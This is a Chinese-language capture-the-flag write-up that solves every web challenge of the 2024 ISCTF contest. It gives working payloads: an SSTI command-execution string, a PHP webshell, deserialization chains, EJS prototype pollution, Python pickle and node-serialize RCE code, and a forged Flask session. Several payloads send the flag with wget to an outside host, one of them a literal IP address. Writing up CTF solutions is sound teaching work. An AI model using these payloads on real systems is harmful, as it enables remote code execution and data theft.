2024 ISCTF WEB全wp
1315609050541697 发表于 湖北 CTF 790浏览 · 2024-11-12 13:27

小蓝鲨的冒险

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    $num = $_POST["num"];
    echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
    if($num == 2024){
        die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("陷阱太多QAQ");
    }
    if(intval($num,0) == 2024){
        echo "到这了难道还要放弃吗?<br>";
        if (isset($_GET['which'])){
            $which = $_GET['which'];
            echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
            switch ($which){
                case 0:
                    print('QAQ');
                case 1:
                case 2:
                    require_once $which.'.php';
                    echo $flag;
                    break;
                default:
                    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                    break;
            }
        }
    }
} 小蓝鲨开始闯关,你能帮助他拿到flag吗?

通过变量覆盖以及八进制绕过,最后switch是弱比较,并通过../穿越到flag

b=a[0]=240610708&which=2/../flag

num=03750

ezSSTI

八进制绕过编写脚本

input = "__"

for letter in input:

    #print(hex(ord(letter)).replace("0x", r"\x"), end="")

    #print(hex(ord(letter)).replace("0x", r"\u00"), end="")

    print(oct(ord(letter)).replace("0o", "\\"), end="")

用lipsum来获得命令执行,用attr来绕过中括号

user_input={{lipsum|attr('\137\137globals\137\137')|attr('\137\137getitem\137\137')('os')|attr('popen')('cat /f*')|attr('read')()}}

![[57a5f62efa0f0aa1c575d62ab4b8fd73.png]]

ezweb

有一个文件包含点和一个文件上传点,由于上传路径不知道先包含upload.php读一下源码

include.php?filename=php://filter/convert.base64-encode/resource=upload.php

发现源码采用md5

<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $name = pathinfo($file['name'], PATHINFO_FILENAME);
    $dir_name = $name . '.' . $ext;
    $upload_dir = './uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }
    if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
        echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。";
    } else {
        echo "文件存储失败,未知原因......";
    }
    die();
}

那么我们上传木马1.php

1.php

<?=`$_POST[1]`;?>�

本地测试文件路径

<?php

error_reporting(0);

$file = "1.php";

$name = pathinfo($file, PATHINFO_FILENAME);

$ext = pathinfo($file, PATHINFO_EXTENSION);

$dir_name = $name . '.' . $ext;

echo md5($dir_name);

然后直接命令执行即可

ezrce

源码如下

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
        die("Blocked by security filter!");
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

命令执行绕过我们可以通过include来读文件

cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag

天命人

<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;

    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
    function __get($huo)
    {
        $this->huoyan="火眼能洞察一切邪祟!<br>";
        echo $this->huoyan->jinjing;
    }
    function __invoke()
    {
        $this->jinjing="金睛能看破世间迷惘!<br>";
        echo $this->huoyan->jinjing;
    }
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;

    function __toString()
    {
        $f=$this->yun;
        $f();
        return "你真的逃出去了吗?天命人?<br>";
    }
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";

    function __sleep()
    {
        echo "三更敲门,菩提老祖送我筋斗云...<br>";
        echo new Jindouyun();
    }
}
class Tianmingren {
    public $tianming;
    public $ren;
    function __destruct()
    {
        echo "迷途中的羔羊,你相信天命吗?<br>";
        echo $this->tianming;
    }
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>

由于最后一句throw new Exception需要GC绕过
我们构造pop链

<?php

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan
{
    public $zhi;
    public $shan;
}
class Huoyanjinjing
{
    public $huoyan;
    public $jinjing;
}
class Dinghaishenzhen
{
    public $yun;
}
class Jingdouyun
{
    public $Qishier = 72;
}
class Tianmingren
{
    public $tianming;
    public $ren;
}
$a = new Tianmingren();
$b = new Dinghaishenzhen();
$c = new Huoyanjinjing();
$d = new Wuzhishan();

$a->tianming = $b;
$b->yun = $c;
$c->huoyan = $d;
echo serialize($a);

然后把最后的括号去了就会直接触发gc
然后传参md5碰撞绕过

J=0e1284838308 

Wukong=O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":1:{s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":2:{s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;

ezjs

源码如下

const express = require('express');
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
app.set('env', 'development');
app.set('views', './views');

users={"guest":"123456"}

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
// 首页展示
app.get('/', (req, res) => {
    res.render('index');
  });
// backdoor
app.post('/UserList',(req,res) => {
    user = req.body
    const blacklist = ['\\u','outputFunctionName','localsName','escape']
    const hacker = JSON.stringify(user)
    for (const pattern of blacklist){
        if(hacker.includes(pattern)){
          res.status(200).json({"message":"hacker!"});
          return 
    } 
}
    copy(users,user);
    res.status(200).json(user);
});

// 启动服务器
app.listen(80, () => {
  console.log(`Server running at http://localhost:80`);
});

发现有ejs原型链污染,但是常用的污染点都被过滤了并且unicode编码也过滤了

调试发现源代码中这个参数destructuredLocals也可以污染然后拼接导致rce

if (opts.destructuredLocals && opts.destructuredLocals.length) {
  var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
  for (var i = 0; i < opts.destructuredLocals.length; i++) {
    var name = opts.destructuredLocals[i];
    if (i > 0) {
      destructuring += ',\n  ';
    }
    destructuring += name + ' = __locals.' + name;
  }
  prepended += destructuring + ';\n';
}

先污染,我们用wget外带打通

POST /UserList

{
    "__proto__":{
    "destructuredLocals":[
   "a=a;global.process.mainModule.require('child_process').execSync('wget http://vps:8999/`cat /f*`');//var __tmp2"
    ]
    }
}

然后访问首页的render渲染触发rce

千年樱

根据提示访问well_down_mlpnkobji.php
然后得到源码:

<?php

    include "dir.php";

    highlight_file(__FILE__);



    function waf($str){

        if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){

            die('bad hacker!!!');

        }

    }

    $poc = $_POST['poc'];

    waf($poc);

    $filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";

    $result = file_get_contents($filename);

    if($result === "sakura for ISCTF"){

        echo "yes! master!";

        eval($_POST['cmd']);

    }



    if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){

        var_dump($result);

    }

    ?>

我们用filterchain来生成字符串

python3 php_filter_chain_generator.py --chain 'sakura for ISCTF<?php'

payload前面加上base64encode否则会报错,并且最后添加string.strip_tags去掉<?php的标签包括之后的垃圾字符即可

convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

新闻系统

from flask import *
import pickle
import base64

app = Flask(__name__)
app.config["SECRET_KEY"] = "W3l1com_isCTF"

class News:
    def __init__(self, title, content) -> None:
        self.title = title
        self.content = content

    def __repr__(self) -> str:
        return f"news(name={self.title}, words={self.content})"

class NewsList:
    def __init__(self) -> None:
        self.news_list = []

    def create_news(self, title, content) -> None:
        news = News(title,content)
        self.news_list.append(news)

    def export_news(self, news_title) -> str | None:
        news = self.get_news(news_title)
        if news is not None:
            self.news_list.remove(news)
            return '删除成功'
        return None

    def add_news(self, serialized_news) -> None:
        try:
            news_data = base64.b64decode(serialized_news)
            black_list = ['create_news','export_news','add_news','get_news']
            for i in black_list:
                if i in str(news_data):
                    return False
            #反序列化
            news = pickle.loads(news_data)
            if isinstance(news,News):
                for i in self.news_list:
                    if i.title == news.title:
                        return False
                self.news_list.append(news)
                return True
            return False
        except Exception:
            return False

    def get_news(self, news_title) -> News | None:
        for news in self.news_list:
            if str(news.title) == news_title:
                return news
        return None


newslist = NewsList()

@app.route("/")
def index():
    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'test' and password == 'test111':
            session['username'] = username
            session['password'] = password
            session['status'] = 'user'
            return redirect('/news')
        else:
            session['login_error'] = True               
    return render_template("login.html")

@app.route("/news")
def news():
    news = newslist.news_list
    return render_template("news.html",news = news)

@app.route('/admin',methods=['GET','POST'])
def admin():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")
    news = newslist.news_list
    return render_template("admin.html",news = news)

@app.route("/create", methods=["POST"])
def create_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")   
    title = request.form.get('title')
    content = request.form.get('content')
    newslist.create_news(title,content)
    return redirect("/admin")

@app.route("/export", methods=["POST"])
def export_news():
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")
    news_title = request.form["title"]
    result = newslist.export_news(news_title)
    if result is not None:
        return jsonify({"result": result})
    else:
        return jsonify({"error": "news not found"})

@app.route("/add", methods=["POST"])
def add_news():
    #伪造 admin admin admin222
    if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
        return redirect("/login")    
    serialized_news = request.form["serialized_news"]
    #反序列化
    if newslist.add_news(serialized_news):
        return redirect("/admin")
    else:
        return jsonify({"error": "Failed to add news"})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

给了session key我们伪造登录admin

python3 flask_session_cookie_manager3.py decode -c .eJyrVipILC4uzy9KUbJSKkktLjE0NFTSUSouSSwpLQYKlRanFgH5ICovMTcVqkipFgAb-RLg.ZzHpXw.nOFghDVcFM2Y0HKcIPcBARyzPmY

b'{"password":"test111","status":"user","username":"test"}'

python3 flask_session_cookie_manager3.py encode -s 'W3l1com_isCTF' -t '{"password":"admin222","status":"admin","username":"admin"}'

.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzHpvw.6MST5E5Vxb_pr-NDyhPPwoS8n4g

然后我们在add路由发现了python反序列化漏洞

import base64

opcode=b'''cos
system
(S"wget http://vps:2333/?a=`cat /f*`"
tR.
'''

print(base64.b64encode(opcode))

ezlogin

考察nodejs反序列化漏洞

const express = require('express');
const app = express();
const bodyParser = require('body-parser');
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser())
app.set('view engine', 'ejs');
app.set('views', './views');

users={"guest":"123456"}

function auth(req, res, next) {
  if(req.cookies.token){
    const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
    if (!user.username) {
        return res.status(401).redirect('/login');
    }
  }else{
    return res.status(401).redirect('/login');
  }
  next();
}

app.get('/index',auth,function(req,res){
    res.render("index");
});


app.get('/register',function(req,res){
    res.render("register");
});

app.post('/register',function(req,res){
    username = req.body.username;
    password = req.body.password;

    if (!username || !password) {
      return res.status(400).send('用户名和密码都是必填项');
    }
    if (users[username]) {
      return res.status(409).send('用户名已存在');
    }
    users[username] = password;  
    return res.status(201).send('用户注册成功');
});

app.get('/login',function(req,res){
  res.render("login");
});

app.post('/login',function(req,res){
  username = req.body.username;
  password = req.body.password;
  if (!username || !password) {
    return res.status(400).send('用户名和密码都是必填项');
  }
  if (!(users[username])) {
    return res.status(409).send('用户名不存在');
  }else{
    if(users[username] === password){
      token=Buffer.from(serialize.serialize({'username':username,'isAdmin':false})).toString('base64')
      res.cookie('token',token, {
        maxAge: 900000,
        httpOnly: true
      });
      return res.status(200).redirect('/index');
    }else{
      return res.status(200).send('密码错误');
    }
  }

});

// 启动服务器
app.listen(80, () => {
  console.log(`Server running at http://localhost:80`);
});

生成恶意反序列化数据外带flag

var serialize = require('node-serialize');

token = Buffer.from(serialize.serialize({ "function": "_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('wget http://124.220.37.173:2333/`cat /f*`', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}()" }

)).toString('base64')

console.log(token)
0 条评论
某人
表情
可输入 255
目录